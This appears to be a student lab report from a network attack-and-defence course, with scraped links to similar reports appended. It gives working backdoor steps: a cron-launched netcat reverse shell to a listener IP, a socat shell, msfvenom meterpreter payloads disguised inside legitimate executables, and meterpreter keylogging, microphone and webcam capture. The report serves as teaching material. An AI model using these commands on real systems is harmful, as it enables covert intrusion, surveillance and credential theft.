《网络对抗技术》Exp2 PC平台逆向破解之“MAL_简单后门” Week4

一、实验内容

本次实验对象为名为pwn1的pwn1的linux可执行文件。程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实验分为五部分:

  • 1、使用netcat获取主机操作Shell,cron启动 ;

  • 2、使用socat获取主机操作Shell, 任务计划启动 ;

  • 3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;

  • 4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;

  • 5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

二、实验步骤

步骤一:使用netcat获取主机操作Shell,cron启动

  • 1、在本机的Windows下载netcat后,双击运行。打开命终端,输入ncat.exe -l -p 5214,对5214号端口进行监听。

  • 2、在kali虚拟机中打开终端,输入crontab -e来添加一条定时任务,其中-e表示编辑。第一次编辑时会提示选择编辑器,选择3。在最后一行加入39 * * * * /bin/netcat 172.20.10.4 5214 -e /bin/sh(ip地址为正在监听的windows 的ip),保存并退出。这样,系统在每个小时的52分钟都会执行该指令。

  • 3、等待系统的39分到达后,可以看到已经连接上了。在Winodws的命令行中输入ls,可以看到linux当前目录下的文件。

步骤二:使用socat获取主机操作Shell, 任务计划启动

  • 1、在Wiondws中搜索任务计划,在弹出的窗口点击创建任务,填写任务名,在任务栏下选择socat.exe的路径,然后在参数栏填写tcp-listen:5214 exec:cmd.exe,pty,stderr后,点击确定。在列表中右键选中刚刚创建的任务,点击运行。

  • 2、在linux的终端输入socat - tcp:192.168.199.235:5214(这里说明一下,我的实验并不是一次性完成了,中间换了一些网络连接,所以IP地址发生了变化)

  • 3、进行调试。由于编码方式不同,所以我们只能在命令行中对英文名字的文件进行操作。进入E盘的XAMMP目录:

步骤三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 1、在linux中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=5214 -f exe > meter_backdoor.exe(这里老师给的指导里头有一个地方打错了,就是LPORT打成了'PORT)生成BackdoorOf5214.exe。

  • 2、在linux下输入msfconsole进入控制模式

  • 3、输入use exploit/multi/handler

  • 4、输入set payload windows/meterpreter/reverse_tcp

  • 6、输入show options进行查看

  • 7、输入set LHOST 192.168.110.129

  • 8、输入set LPORT 5214

  • 9、输入show options再次进行查看,可以看到相应的ip地址和端口号已经变成我所设置的。

  • 10、输入exploit

  • 11、把BackdoorOf5214.exe发送主机上(预先关闭防火墙),然后双击打开,成功连接上:

  • 12、输入dir进行查看

步骤四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在第三步的基础上来实现以下功能

  • 1、输入record_mic录音

  • 2、输入keyscan_start开始记录键盘输入,再输入keyscan_dump查看

  • 3、输入webcam_snap拍照

  • 4、输入webcam_stream摄像

步骤五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

刚看到这个题目的时候首先冷静一下,从哪里入手呢?仔细回想,在老师给的实验指导书中,在刚提到meterpreter的时候:

msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode

也就是说,我们是否可以改编这条命令来实现我们想要的功能呢?试一试。
首先,-p参数是有效载荷。后面跟的是windows。我们的pwn1是只能在linux下运行的,所以这个地方肯定要改;接着再往后看,-x是指定模板。我们要生成跟pwn1功能一样的、但是有后门的代码,所以模板修改为pwn1;再往后,-e问题不大,因为我们确实是要用x86来解决问题,x86后面一串看不懂,先不管,继续往后;-i,-b应该没问题,先不管;ip和端口分别修改成kali的ip和5214;-f是文件类型。linux中可执行文件类型是不能直接看到的,在命令行输入file pwn1,得知类型是elf,所以这个地方也要修改,最后输出的文件形式也要跟着修改。于是我进行第一次修改

  • 1、修改ip地址和端口
  • 2、将windows改成linux,回车确认
  • 3、exe改成elf,最后生成的文件改成pwn2
    修改完毕后回车,报错:

发现是类型不对。上网搜一下“msf的载荷类型”,可以知道在-p的后面应当是linux/x86......,修改后再回车,这次没报错。

接下来进行测试。为了方便,我直接kali对kali进行测试。先按步骤三的过程进行监听,然后运行pwn2,发现连接上了,实验成功。

三、遇到的问题

  • 1、在第一个任务中的修改crontab中,提示crontab的规则不正确

  • 解决方法:首先是反复查看输入的代码,没发现错误。于是上网查找,后来发现是数字后面的四个*中间是有空格的。加入空格后解决了问题。

  • 2、前几天还可以上网,今天忽然上不了网。

  • 解决方法:输入ifconfig -a,查看网卡的状态,发现eth0网卡罢工了。进入/etc/network/interfaces,在最后加入auto eth0iface eth0 inet dchp后重启网络,解决了问题。

  • 3、本次实验我还遇到了一个问题,最让我高兴的也是解决了这个问题:第三步在同一台计算机上虚拟机和本机连接是可以成功的;如果使用两台计算机的话(A是kali,B是另一电脑),在B双击后门程序是连接不上A的。

  • 解决方法:通过仔细观察,我发现本机连接的话,所显示的连接地址是VMnet8的地址,也就是NAT模式的地址。我尝试着在本机上把VMnet8的适配器给关闭了,然后再双击打开后门程序,这时候就无法连上了。这不禁引起了我的思考,我无法在另外一电脑B上连接是不是跟这有关呢?我尝试着把虚拟机的网络连接方法换成“桥接模式”,这时候再用B去连接A,成功了。

四、基础问题问答

  • 1、例举你能想到的一个后门进入到你系统中的可能方式?
  • 答:下载了盗版软件,被植入后门;点击了钓鱼网站,被植入后门。
  • 2、例举你知道的后门如何启动起来(win及linux)的方式?
  • 答:win开机自启动、用户手动开启。linux有实验过程中是利用了crontab来定时向攻击方连接,使用反弹连接的方式。
  • 3、Meterpreter有哪些给你映像深刻的功能?(做完实验之后再回来答的这道题)
  • 答:摄像功能和键盘输入功能。。摄像功能可以知道用户在干什么。键盘输入功能从某种程度上可以窃取用户的信息,很有可能在用户输入账号、密码时被记录下来。
  • 4、如何发现自己有系统有没有被安装后门?
  • 答:安装杀毒软件,对电脑进行查杀。

五、心得体会

本次实验更加贴近了我们的生活,不禁感到惶恐。。说不定以前我的电脑已经被入侵过无数回了,只是自己一直不知道而已。而这些内容在世界上知道的人也是少数。看来信息安全确实很重要。。掌握了攻击的方法无异于掌握了一个强大的武器,厉害的话可以来去无踪,俨然网络神偷。

20165214 2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 Week4的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. rsyslog+loganalyzer配置

    1.loganalyzer服务器搭建[root@localhost ~]# getenforce #查看selinux是否关闭[root@localhost ~]# setenforce 0 #临时关 ...

  2. java中全角半角字符的相互转换的代码

    如下内容是关于java中全角半角字符的相互转换的内容.package com.whatycms.common.util; import org.apache.commons.lang.StringUt ...

  3. linux基础命令touch

    touch /home/ceshi    创建文件命令 touch    /home/ceshi1 ceshi2    同时创建两个文件. cat   显示文件内容(短的文件) -n  带行号 tac ...

  4. Sping AOP Capabilities and Goals

    Spring AOP是用纯的java实现的.不需要任何个性的实现过程.Spring AOP不需要控制类加载器,并且它适用于Servlet容器或者应用服务器. Spring AOP当前只支持方法执行的连 ...

  5. Model First 开发方式

    概述 在项目一开始,没有数据库时,可以借助 EF 设计模型,然后根据模型同步完成数据库中表的创建,这就是 Model First 开发方式. 总结一点就是:现有模型再有表. 创建 Model Firs ...

  6. 从码农到技术总监分享Leader经验

    从一个毕业的IT小伙或者一个码农成长为一个管理者,有很多需要转变的思想,那么当你遇到了瓶颈,或许我的经验能帮到你,感谢. 系统的掌握了.NET,JAVA技术,能够熟练的使用springcloud + ...

  7. java中之内存溢出说明

    java语句是编译型和解释型语言,选通过编译命令javac 把java文件编译为.class字节码文件,然后通过java虚拟机(JVM)加载class文件到内存运行. 而java虚拟机在运行程序时有自 ...

  8. linux php7.2安装扩展memcached

    wget http://pecl.php.net/get/igbinary-2.0.8.tgz tar -xzvf igbinary-2.0.8.tgz cd igbinary-2.0.8 /usr/ ...

  9. Linux c 获取cpu使用率(2)

    上一篇博文当中,我们谈论了在Linux中如何获取执行命令行的结果,最终得到cpu的 使用率,但是十分不幸的事情是: 1)通过top -n 1 | grep Cpu获取的cpu使用率不会刷新,每次读取结 ...

  10. Mac搭建SVN服务器+Cornerstone连接服务器

    Mac自带svn,我们只需配置并开启就可以了,打开终端,输入svnserve --version查看svn版本 可以看到我的mac自带的svn版本号为1.9.7,下面开始配置服务器: 1.终端输入su ...